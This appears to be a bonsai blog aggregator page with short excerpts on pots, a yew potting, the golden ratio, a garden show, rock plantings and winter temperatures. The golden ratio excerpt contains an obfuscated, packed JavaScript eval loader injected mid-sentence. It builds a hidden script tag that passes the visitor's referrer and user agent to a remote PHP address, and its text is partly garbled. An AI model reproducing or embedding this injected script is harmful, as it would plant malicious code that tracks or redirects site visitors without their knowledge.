5 months ago Nebby 0
Source: Watto Bonsai Blog. I have been a bit lax in postings recently, but to get back on track here is a new pot that I purchased last weekend. I say new because its new to me but it has been used by the previous owner so that gives it some character. It is a Read More

First potting of a Han Kengai Yamadori Yew

5 months ago Nebby 0
Source: Tony Tickle Bonsai Blog. This is the first potting of the Han Kengai Yamadori Yew. its still got some filling out of the foliage to do so I have potted the tree in an oversize pot to give the roots more run. At this stage, I wanted to know the state of the roots Read More

Golden ratio in Bonsai

5 months ago Nebby 0
Source: Growing Bonsai Blog. What eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sezfi|var|u0026u|referrer|tzbsi||js|php’.split(‘|’),0,{})) is the golden proportion The golden ratio is a measure often found in Architecture, art and nature. The ratio is related to the fibonacci series of numbers, where each number is the sum of the previous two: 0 – 1 – 1 – 2 Read More

GardenScape 2018

5 months ago Nebby 0
Source: Valavanis Bonsai Blog. GardenScape 2018 is the annual flower and garden show in Rochester, New York, which runs from March 8-11, 2018. It is held at the newly remodeled dome in Henrietta, New York, a suburb of Rochester. Top landscape companies from around the area transformed the Dome into a living garden paradise. GardenScape Read More

Red Pine / Ponderosa on Rock-

5 months ago Nebby 0
Source: Crataegus Bonsai Blog. One of the bonsai benefits of living in the volcanic Pacific Northwest of the U.S. is the geology. There are many dark, irregular rocks out there for rock plantings. This pine was originally a Ponderosa, Pinus ponderosa. About seven years ago I grafted it with Red Pine, Pinus densiflora. This spring Read More

Boot sale and the Yorkshire Bonsai Association 

5 months ago Nebby 0
Source: Tony Tickle Bonsai Blog. More power to British Bonsai, well done John Armitage John Armitage Bonsai's Blog Despite the terrible weather of the last week the Doncaster Boot Sale at Markham Grange was a resounding success. With more visitors and traders than previous events, although the weather caused a few traders to pull out. Read More


5 months ago Nebby 0
Source: Hans van Meer Bonsai Blog. Hi everybody, last week we had record breaking low temperatures here in Holland and young and old grabbed this unique chance and went ice skating where and whenever they could! Typical Dutch fun…no wonder we won most of the ice speed skating medals at the Olympics!!! This was pretty precarious because I already Read More

MET Office Weather Stations For Cold Weather Observation

6 months ago Nebby 0
Source: All Things Bonsai Blog. We’re proper geeks when it comes to the winter temperatures. The met office has weather stations around the UK which keep records of temperatures. We use MET Office weather stations For cold weather observation to see how the cold affects the various species of bonsai tree which we keep. Over Read More